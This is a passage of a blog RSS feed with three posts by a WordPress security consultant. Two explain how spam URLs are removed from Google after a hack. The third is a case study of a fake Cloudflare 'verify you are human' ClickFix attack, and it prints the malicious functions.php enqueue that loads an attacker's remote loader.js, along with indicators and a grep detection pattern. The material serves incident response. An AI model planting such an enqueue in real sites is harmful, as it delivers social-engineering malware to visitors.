            <dc:creator><![CDATA[MD Pabel]]></dc:creator>
            <pubDate>Tue, 21 Jul 2026 10:26:01 GMT</pubDate>
            <atom:updated>2026-07-21T10:26:01.549Z</atom:updated>
            <content:encoded><![CDATA[<p>A client once asked a question I hear frequently after hacked-site cleanups:</p><blockquote><em>“The malware is gone. Why are the spam pages still showing in Google?”</em></blockquote><p>The answer is that a clean website and a clean Google index are not the same thing.</p><p>You can remove every malicious file from WordPress and still see Japanese products, gambling pages, pharmaceutical keywords, or unknown URLs appearing under the domain.</p><p>That does not always mean the cleanup failed.</p><p>It often means Google has not yet processed what changed.</p><h3>Google remembers previously discovered URLs</h3><p>During an infection, Google may discover spam URLs through:</p><ul><li>malicious XML sitemaps;</li><li>injected internal links;</li><li>external spam backlinks;</li><li>dynamically generated archive pages;</li><li>cloaked content;</li><li>normal crawling of infected routes.</li></ul><p>Suppose malware creates a URL like:</p><pre>example.com/jp/fake-product/</pre><p>Google crawls it and indexes the page.</p><p>Later, the malware is removed.</p><p>The page may stop working, but Google does not instantly erase it. Googlebot needs to request the URL again and see what the server now returns.</p><p>That response tells Google what happened.</p><h3>The server response matters</h3><p>There are several possible responses.</p><h3>HTTP 200</h3><p>A 200 response says the page loaded successfully.</p><p>This is a problem when a deleted spam URL displays a normal-looking template or homepage while still returning 200.</p><p>Google may consider it a real page or a soft 404.</p><h3>HTTP 301</h3><p>A 301 is appropriate when a legitimate page has permanently moved to a relevant replacement.</p><p>For example, if three older articles are consolidated into one complete guide, the old URLs should redirect to the new guide.</p><h3>HTTP 404</h3><p>A 404 says the requested resource could not be found.</p><p>This is acceptable for spam URLs that no longer exist.</p><h3>HTTP 410</h3><p>A 410 says the resource was intentionally removed and is not expected to return.</p><p>I often use 410 for confirmed malicious URL patterns because the URLs were deliberately retired and have no legitimate replacement.</p><p>Neither 404 nor 410 guarantees instant removal. Google still needs to recrawl the URL.</p><h3>Why redirecting everything to the homepage is a mistake</h3><p>Some website owners redirect all missing or hacked pages to the homepage.</p><p>That may appear to solve the problem because visitors no longer see an error.</p><p>But a fake Japanese product page has no meaningful relationship with the homepage.</p><p>Redirecting thousands of unrelated spam URLs to one page can:</p><ul><li>confuse users;</li><li>create soft-404 behaviour;</li><li>waste crawl resources;</li><li>hide the real scale of the infection;</li><li>make monitoring more difficult.</li></ul><p>The response should match what actually happened.</p><p>If the URL has no replacement, 404 or 410 is usually more accurate.</p><h3>Search Console removal does not permanently delete the URL</h3><p>Google Search Console has a Removals tool that can temporarily hide URLs from search results.</p><p>This is useful when urgent spam results are visible.</p><p>You can remove:</p><ul><li>one exact URL;</li><li>all URLs beginning with a particular prefix.</li></ul><p>A prefix removal can work well for a fully malicious directory:</p><pre>example.com/jp/<br>example.com/pages/<br>example.com/products/</pre><p>However, the tool does not clean WordPress and does not permanently delete the URLs.</p><p>The temporary suppression must be supported by a permanent website-side change.</p><p>That normally means:</p><ul><li>404;</li><li>410;</li><li>a relevant permanent redirect;</li><li>or, for an existing page, a valid noindex directive.</li></ul><h3>Why I used server-level rules</h3><p>In one cleanup, bots continued requesting thousands of old hacked URLs after the malicious files had been removed.</p><p>Without an early server rule, every request could still:</p><ul><li>start PHP;</li><li>load WordPress;</li><li>load plugins;</li><li>connect to MySQL;</li><li>run queries;</li><li>render a theme template.</li></ul><p>For confirmed patterns, I returned 410 before WordPress loaded.</p><p>This reduced unnecessary work while giving search engines a clear response.</p><p>The important word is <strong>confirmed</strong>.</p><p>A broad rule can break real functionality.</p><p>For example, WordPress uses ?p=123 as a valid way to identify a post. A rule that blocks every ?p= URL could block legitimate content.</p><p>The pattern must be investigated before it is blocked.</p><h3>Do not hide the status with robots.txt</h3><p>Another common mistake is blocking all spam paths in robots.txt.</p><p>That may prevent Googlebot from requesting the URL.</p><p>If Google cannot crawl the page, it may not see the new 404 or 410 response.</p><p>In the recovery I handled, the spam URLs were removed from the legitimate sitemap but remained crawlable so the server could return the correct status.</p><h3>The clean sitemap has a different purpose</h3><p>The XML sitemap should describe the legitimate website.</p><p>It should include:</p><ul><li>canonical pages;</li><li>successful 200 responses;</li><li>content intended for search;</li><li>preferred URL versions.</li></ul><p>It should exclude:</p><ul><li>hacked URLs;</li><li>404 pages;</li><li>410 pages;</li><li>redirects;</li><li>random parameters;</li><li>internal search pages.</li></ul><p>The sitemap helps Google focus on the pages that still matter.</p><h3>How I monitored the recovery</h3><p>After the server changes, I monitored both Google and the server.</p><p>In Search Console, I watched:</p><ul><li>indexed spam URLs;</li><li>excluded URLs;</li><li>queries;</li><li>titles and descriptions;</li><li>security warnings;</li><li>legitimate pages recovering visibility.</li></ul><p>In access logs, I checked:</p><ul><li>which spam URLs Googlebot requested;</li><li>whether they returned 410;</li><li>whether new URL patterns appeared;</li><li>whether requests still reached WordPress;</li><li>whether any legitimate URLs were blocked.</li></ul><p>This monitoring was essential because removing one malware file does not prove that the infection cannot regenerate.</p><h3>A successful cleanup has two separate checklists</h3><h3>Security checklist</h3><ul><li>Remove malicious files</li><li>Remove backdoors</li><li>Clean the database</li><li>Remove unauthorized users</li><li>Rotate credentials</li><li>Fix the entry point</li><li>Stop new URL generation</li></ul><h3>Search recovery checklist</h3><ul><li>Collect hacked URLs</li><li>Identify repeatable patterns</li><li>Return 404 or 410</li><li>Use temporary removals where necessary</li><li>Submit a clean sitemap</li><li>Monitor recrawling</li></ul><p>Stopping after the first checklist leaves the job unfinished.</p><p>I explained the complete process through a real incident involving approximately 242,000 unwanted URL variations:</p><p><a href="https://www.mdpabel.com/case-studies/remove-spam-urls-from-google/?utm_source=chatgpt.com">Read the complete WordPress SEO spam cleanup case study</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eaa38339fdac" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Google Indexed 242,000 Pages the Website Owner Never Created]]></title>
            <link>https://mdpabeldev.medium.com/google-indexed-242-000-pages-the-website-owner-never-created-6f79a39b4ac9?source=rss-8cf1114a8130------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f79a39b4ac9</guid>
            <dc:creator><![CDATA[MD Pabel]]></dc:creator>
            <pubDate>Mon, 20 Jul 2026 08:52:06 GMT</pubDate>
            <atom:updated>2026-07-20T08:52:06.924Z</atom:updated>
            <content:encoded><![CDATA[<p>The website looked completely normal.</p><p>The homepage loaded correctly. The real pages were still there. There were no obvious pop-ups, redirects, or warning messages.</p><p>But when I searched the domain on Google, I found pages the owner had never created.</p><p>Japanese product listings were appearing under the website’s domain. Google was showing unrelated titles, prices, product descriptions, and URLs that did not belong to the business.</p><p>Some of the URLs looked like this:</p><pre>example.com/?p=23932<br>example.com/?q=98237492<br>example.com/?a=739284729<br>example.com/jp/fake-product/<br>example.com/pages/random-item.html</pre><p>Eventually, approximately 242,000 unwanted URL variations were associated with the incident.</p><p>The most important lesson from this cleanup was simple:</p><blockquote><em>A website can look normal while Google sees something completely different.</em></blockquote><h3>Why the owner could not see the spam</h3><p>Many people expect a hacked website to show obvious symptoms.</p><p>They look for:</p><ul><li>visible redirects;</li><li>defaced pages;</li><li>browser warnings;</li><li>unknown WordPress posts;</li><li>strange administrator accounts.</li></ul><p>SEO spam does not always work that way.</p><p>Malicious code can generate content only when a particular URL is requested. It may also change its output based on the visitor, device, referrer, cookie, or user agent.</p><p>The owner may open the homepage and see the real website.</p><p>Googlebot may request a hidden product URL and receive a completely different page.</p><p>That means the spam might not exist as thousands of normal WordPress posts. It can be generated dynamically by a much smaller piece of malicious code.</p><h3>Cleaning the malware was only the first job</h3><p>The first stage was the normal security investigation.</p><p>I reviewed:</p><ul><li>WordPress core files;</li><li>active and inactive plugins;</li><li>themes and must-use plugins;</li><li>.htaccess files;</li><li>the uploads directory;</li><li>WordPress administrator accounts;</li><li>scheduled tasks;</li><li>the database;</li><li>server access logs.</li></ul><p>The goal was to stop the website from generating any new spam.</p><p>But that did not immediately remove the pages already showing in Google.</p><p>Google had already discovered many of the hacked URLs. Even after the malware was removed, those URLs continued to exist in Google’s crawl history.</p><p>This created a second recovery process: cleaning the search index.</p><h3>I did not process 242,000 URLs individually</h3><p>Trying to remove every URL one by one would have been unrealistic.</p><p>Instead, I collected samples from several places:</p><ul><li>Google Search results;</li><li>Google Search Console;</li><li>server access logs;</li><li>performance exports;</li><li>suspicious sitemap files.</li></ul><p>Then I grouped the URLs by structure.</p><p>The same patterns kept appearing:</p><pre>?p=large-number<br>?q=large-number<br>?a=large-number<br>/jp/<br>/pages/<br>/products/<br>.html</pre><p>The site did not really contain 242,000 independently created pages.</p><p>A few repeatable patterns were producing thousands of variations.</p><p>Once those patterns were identified, the problem became manageable.</p><h3>Returning a permanent removal status</h3><p>For confirmed malicious patterns, I configured the server to return HTTP 410 Gone.</p><p>A 410 response communicates that the requested resource has been deliberately and permanently removed.</p><p>The rules were processed before WordPress loaded. This meant repeated spam requests did not need to start the entire application, load plugins, connect to the database, and render a full 404 page.</p><p>That helped with both search cleanup and server-resource usage.</p><p>However, the rules had to be precise.</p><p>For example, WordPress legitimately uses URLs such as:</p><pre>example.com/?p=123</pre><p>Blocking every ?p= request could break real posts.</p><p>Before blocking any numerical range, I checked whether those post IDs existed in the database.</p><p>Broad security rules are easy to write. Safe rules require investigation.</p><h3>Using Google Search Console</h3><p>I also used Google Search Console’s Removals tool for urgent suppression.</p><p>For individual URLs, I submitted specific removal requests.</p><p>For fully malicious directories, the option to remove all URLs with a prefix was more efficient.</p><p>Examples included patterns such as:</p><pre>example.com/jp/<br>example.com/pages/<br>example.com/products/</pre><p>Search Console removal is temporary, though. It hides results while Google processes the permanent changes.</p><p>The real long-term signals were:</p><ul><li>the malware was gone;</li><li>new spam was no longer being generated;</li><li>the old URLs returned 404 or 410;</li><li>the legitimate sitemap contained only real pages.</li></ul><h3>The sitemap needed to be rebuilt</h3><p>After the cleanup, I submitted a fresh sitemap containing only legitimate canonical URLs.</p><p>It excluded:</p><ul><li>spam pages;</li><li>redirected URLs;</li><li>404 pages;</li><li>410 pages;</li><li>internal search results;</li><li>random query-string variations.</li></ul><p>A sitemap should show Google which pages belong to the real website.</p><p>It should not become a storage file for everything Google once discovered.</p><h3>The index recovery took longer than the malware cleanup</h3><p>The technical cleanup and the initial removal controls were completed relatively quickly.</p><p>Google’s process took longer.</p><p>Googlebot still needed to revisit the URLs, observe the new server responses, and update the search results.</p><p>During that period, I monitored:</p><ul><li>spam-query impressions;</li><li>indexed and excluded pages;</li><li>Googlebot requests;</li><li>server response codes;</li><li>new URL patterns;</li><li>signs of reinfection.</li></ul><p>An increase in reported 404 or 410 URLs was not necessarily bad. In this context, it often showed that Google was revisiting the hacked URLs and seeing that they were gone.</p><h3>What website owners should remember</h3><p>When Google shows content you never published, do not assume it is only a Google problem.</p><p>The source is often inside the website, hosting account, database, or server configuration.</p><p>And when the malware is removed, do not assume the search results will repair themselves immediately.</p><p>A complete recovery has two parts:</p><ol><li>Remove the infection and stop new spam.</li><li>Remove the existing hacked URLs from Google.</li></ol><p>I documented the technical investigation, URL patterns, 410 rules, Search Console process, and sitemap strategy in the complete case study:</p><p><a href="https://www.mdpabel.com/case-studies/remove-spam-urls-from-google/?utm_source=chatgpt.com">How I removed 242,000 spam URLs from Google after a WordPress hack</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f79a39b4ac9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fake Cloudflare “Verify You Are Human” Malware Removal Case Study]]></title>
            <link>https://mdpabeldev.medium.com/fake-cloudflare-verify-you-are-human-malware-removal-case-study-105e0476c5bb?source=rss-8cf1114a8130------2</link>
            <guid isPermaLink="false">https://medium.com/p/105e0476c5bb</guid>
            <dc:creator><![CDATA[MD Pabel]]></dc:creator>
            <pubDate>Tue, 05 May 2026 23:16:01 GMT</pubDate>
            <atom:updated>2026-05-05T23:16:01.492Z</atom:updated>
            <content:encoded><![CDATA[<p>A client contacted me after their WordPress website started showing a full-screen <strong>fake Cloudflare “Verify you are human” page</strong> on their own domain. Visitors could not reach the real site. Instead, they were shown a deceptive verification screen that told them to press <strong>Win+R</strong> and <strong>Ctrl+V</strong>.</p><p>This was not a real Cloudflare check. It was a <strong>fake CAPTCHA / ClickFix-style social-engineering attack</strong> loaded from a malicious external script: digitalsheat[.]com/loader.js (also seen as digitalsheet[.]com/loader.js). I traced the infection to the site&#39;s <strong>custom theme functions.php</strong>, removed the malicious enqueue, cleaned the rest of the malware, checked for persistence, and restored the site the same day.</p><p>If your website is showing a fake verification page, blocking users with a “verify you are human” prompt, or loading unknown JavaScript from attacker domains, this is usually a real <a href="https://www.mdpabel.com/wordpress-malware-removal/"><strong>WordPress malware removal</strong></a> case, not just a broken script.</p><h3>Quick Summary</h3><ul><li><strong>Main symptom:</strong> A fake Cloudflare verification page was blocking the real website</li><li><strong>Malware type:</strong> Fake CAPTCHA / ClickFix-style social engineering</li><li><strong>Malicious source:</strong> digitalsheat[.]com/loader.js and variant digitalsheet[.]com/loader.js</li><li><strong>Injection point:</strong> functions.php in the custom WordPress theme</li><li><strong>Persistence signs:</strong> Obfuscated JavaScript, MutationObserver behavior, fake/backdoor plugins</li><li><strong>User risk:</strong> Visitors were told to run OS-level commands through Win+R and paste actions</li><li><strong>Outcome:</strong> Malware removed, fake page gone, site stable under monitoring</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6fcg0H1ciq7S7X6j.png" /></figure><h3>Why this page was obviously fake</h3><p>The first thing I needed to confirm was whether this was a legitimate protection layer or malware impersonating one. The answer became clear quickly.</p><p>A real website security challenge does not need to tell users to open the Windows Run dialog and paste commands into the operating system. That behavior is a major red flag. In this case, the page was trying to create urgency and trust by looking like Cloudflare while pushing users toward dangerous manual execution steps.</p><p>That pattern matters because it turns a hacked website into a social-engineering delivery page, not just a defaced page. If a visitor follows those instructions, the damage can go far beyond the website itself.</p><h3>What users were seeing</h3><p>Visitors were blocked by a full-page overlay that looked like a verification step. The page visually mimicked a security check, but instead of performing a normal challenge flow, it pushed people toward a manual “verification” sequence using keyboard shortcuts.</p><ul><li>full-page blocking overlay</li><li>fake “Verify you are human” prompt</li><li>instructions to press <strong>Win+R</strong> and <strong>Ctrl+V</strong></li><li>real site content hidden behind the overlay</li></ul><p>For the client, this created a serious trust problem. Anyone landing on the website would assume the site was unsafe or broken, and anyone following the prompt could be exposed to a much more serious compromise.</p><h3>How I proved it was injected into the page</h3><p>I started by checking the live DOM in DevTools. The fake overlay HTML was present directly inside the page output. That was the first strong sign that the site itself had been modified and was serving the fake verification interface as part of its own frontend.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iZFaOprMZVy1qwFc.png" /></figure><p>Next, I checked the Network panel while interacting with the page. Clicking the checkbox did not produce the kind of real verification calls you would expect from a legitimate challenge flow. Instead, the page behaved like a staged visual lure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rQG5wyJtCnieiTgu.png" /></figure><h3>Finding the malware source</h3><p>Once I confirmed the page was fake, I moved into the actual source hunt. Inside DevTools → Sources, I found an unknown external script: loader.js. When I paused execution and reviewed the code behavior, I saw obfuscation and a <strong>MutationObserver</strong>, which is often a sign that the attacker wants the fake UI to stay alive even if the DOM changes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*51zZdi4Mu6P0P484.png" /></figure><p>I then confirmed the exact external source in both Sources and Network:</p><ul><li>digitalsheat[.]com/loader.js</li><li>digitalsheet[.]com/loader.js <em>(observed variant)</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/0*Vnbtbtqv5X6lIDSl.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/0*9B1MN2KVEl-Dg92F.png" /></figure><p>This was critical because once a site loads a remote attacker script, the attacker can change the payload any time without modifying the victim site again. That makes remote script injections especially dangerous.</p><h3>Where the infection lived in WordPress</h3><p>After confirming the remote script, I searched the codebase for loader.js and suspicious wp_enqueue_script() usage. The injection was inside the custom theme&#39;s functions.php file:</p><pre>function enqueue_custom_script() { wp_enqueue_script( &#39;custom-error-script&#39;, &#39;https://digitalsheat.com/loader.js&#39;, array(), null, true ); } add_action(&#39;wp_enqueue_scripts&#39;, &#39;enqueue_custom_script&#39;);</pre><p>That explained why the fake page appeared sitewide. The attacker had used a normal front-end WordPress hook to load the malicious script on every page request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mbb-_FpQBTURxBi1.png" /></figure><p>As soon as I removed the malicious enqueue, the fake page disappeared. But I did not stop there, because a visible injection is often only one part of the compromise.</p><h3>Other persistence signs I found</h3><p>Inside wp-admin, I also found suspicious fake/backdoor plugins that looked like ordinary tools. That matters because in many WordPress malware cases, the visible infection is only the frontend symptom while the real persistence lives in fake plugins, hidden backdoors, cron jobs, or altered configuration files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*n1wUgMuIIZctrt8h.png" /></figure><p>Fake or backdoor plugins were also present, which suggested persistence beyond the visible overlay.</p><p>That is why a fake CAPTCHA page should be treated as a full malware incident, not a single broken file.</p><p>Related reading:</p><h3>What the malware was doing in plain language</h3><h3>1. Blocking the real website</h3><ul><li>Created a full-screen iframe or overlay above the real site</li><li>Disabled scrolling</li><li>Injected HTML that looked like a Cloudflare-style verification screen</li></ul><h3>2. Pushing users toward dangerous actions</h3><ul><li>Told visitors to press <strong>Win+R</strong></li><li>Told them to paste commands with <strong>Ctrl+V</strong></li><li>Used a fake trust signal to make the prompt feel legitimate</li></ul><h3>3. Reducing obvious repeat exposure</h3><ul><li>Used localStorage timing behavior to avoid showing constantly</li><li>Skipped some traffic patterns to reduce noise and suspicion</li></ul><h3>4. Keeping the attack flexible</h3><ul><li>Loaded from a remote attacker domain</li><li>Could be updated by the attacker without editing the victim site again</li><li>Used persistence-friendly behavior such as a MutationObserver and WordPress enqueue hooks</li></ul><h3>Indicators of compromise</h3><h3>Domains / URLs</h3><ul><li><a href="https://digitalsheat[.]com/loader.js">https://digitalsheat[.]com/loader.js</a></li><li>https://digitalsheet[.]com/loader.js <em>(variant)</em></li></ul><h3>WordPress hook pattern</h3><ul><li>add_action(&#39;wp_enqueue_scripts&#39;,&#39;enqueue_custom_script&#39;);</li><li>wp_enqueue_script(&#39;custom-error-script&#39;,&#39;https://.../loader.js&#39;,...);</li></ul><h3>JavaScript clues</h3><ul><li>obfuscated variable names</li><li>MutationObserver</li><li>full-screen overlay or iframe with very high z-index</li><li>unexpected external script origin</li></ul><h3>Quick scan pattern</h3><pre>grep -RniE &quot;digitals?heat\\.com|loader\\.js|enqueue_custom_script|custom-error-script|_0x[0-9a-f]{3,}&quot; wp-content</pre><h3>My remediation process</h3><h3>1. Containment</h3><ul><li>Removed the malicious enqueue and cut the connection to the attacker domain</li><li>Used a short maintenance window where needed</li><li>Disabled dashboard file editing</li></ul><h3>2. Cleanup and verification</h3><ul><li>Cleaned the infected theme file and injected JavaScript</li><li>Removed fake/backdoor plugins</li><li>Searched code and database for the same indicators</li><li>Updated WordPress core, plugins, and theme components</li><li>Checked for dangerous files in writable areas like uploads</li></ul><h3>3. Server-side review</h3><ul><li>Reviewed cron and WP-Cron behavior</li><li>Checked processes and startup persistence</li><li>Reviewed server config files for silent PHP injection tricks</li><li>Checked users, SSH access, and recent changes</li></ul><h3>4. Hardening</h3><ul><li>Enabled DISALLOW_FILE_EDIT</li><li>Applied least-privilege permissions</li><li>Rotated passwords and WordPress salts</li><li>Enabled 2FA for admins</li><li>Upgraded to a supported PHP version</li><li>Added security headers and a trusted WAF</li></ul><h3>5. Monitoring</h3><ul><li>Set up file-integrity monitoring</li><li>Configured daily off-site backups</li><li>Added alerts for theme/plugin changes, new outbound JS domains, unusual logins, and error spikes</li></ul><p><strong>Result:</strong> The fake page disappeared immediately after the malicious injection was removed, and the site made no further requests to the attacker domain.</p><h3>Post-cleanup verification</h3><ul><li><strong>Network:</strong> no more requests to digitalsheat[.]com/loader.js or digitalsheet[.]com/loader.js</li><li><strong>Elements / Sources:</strong> no fake overlay or injector code left in the page output</li><li><strong>Storage:</strong> no overlay-related persistence keys remaining in localStorage</li><li><strong>Fresh devices and sessions:</strong> the real site loaded normally every time</li></ul><h3>What site owners should learn from this case</h3><ul><li><strong>A fake Cloudflare page on your domain is not a branding bug.</strong> It is usually a malware or compromise signal.</li><li><strong>If a page tells visitors to use Win+R and paste commands, treat it as malicious immediately.</strong></li><li><strong>Theme files can be used as malware loaders.</strong> Do not only check plugins.</li><li><strong>Remote script injections are dangerous because the payload can change at any time.</strong></li><li><strong>Visible fake pages often come with hidden persistence.</strong> Check for fake plugins, backdoors, and server-side hooks too.</li></ul><h3>FAQ</h3><h3>Why is my WordPress site showing a fake “Verify you are human” page?</h3><p>In many cases, that means your site has been hacked and is loading a malicious script or injected template. If the page is telling users to run commands or paste something into the operating system, it is especially dangerous.</p><h3>Is this a real Cloudflare challenge?</h3><p>No. In this case it was a fake page loaded from attacker-controlled JavaScript and injected through the site’s theme code.</p><h3>What is ClickFix-style malware?</h3><p>It is a social-engineering technique that uses fake CAPTCHA pages, fake errors, or phony verification prompts to trick the user into executing commands themselves.</p><h3>Is deleting the one malicious line in functions.php enough?</h3><p>Not always. You also need to check for backdoors, fake plugins, cron persistence, altered server configs, and other indicators that allowed the malware to survive.</p><h3>What should I do first if I see this on my site?</h3><p>Do not follow the prompt. Check Network and Sources for unknown external JavaScript, inspect your theme and plugins, contain the site if needed, and perform a proper malware cleanup.</p><h3>Related reading</h3><h3>Need help removing fake CAPTCHA malware from WordPress?</h3><p>I’ve cleaned thousands of hacked WordPress sites, including fake plugin infections, redirect malware, injected JavaScript, blacklist cases, and fake verification / CAPTCHA attacks. If your site is showing a fake Cloudflare-style page or loading unknown remote scripts, I can help you trace the source, clean the malware properly, and harden the environment afterward.</p><p><a href="https://www.mdpabel.com/hire-me/"><strong>Hire me</strong></a> or start with my <a href="https://www.mdpabel.com/wordpress-malware-removal/"><strong>WordPress malware removal service</strong></a>.</p><p><em>Originally published at </em><a href="https://www.mdpabel.com/case-studies/wordpress-hacked-fake-cloudflare-verify-you-are-human-a-wordpress-malware-removal-case-study/"><em>https://www.mdpabel.com</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=105e0476c5bb" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>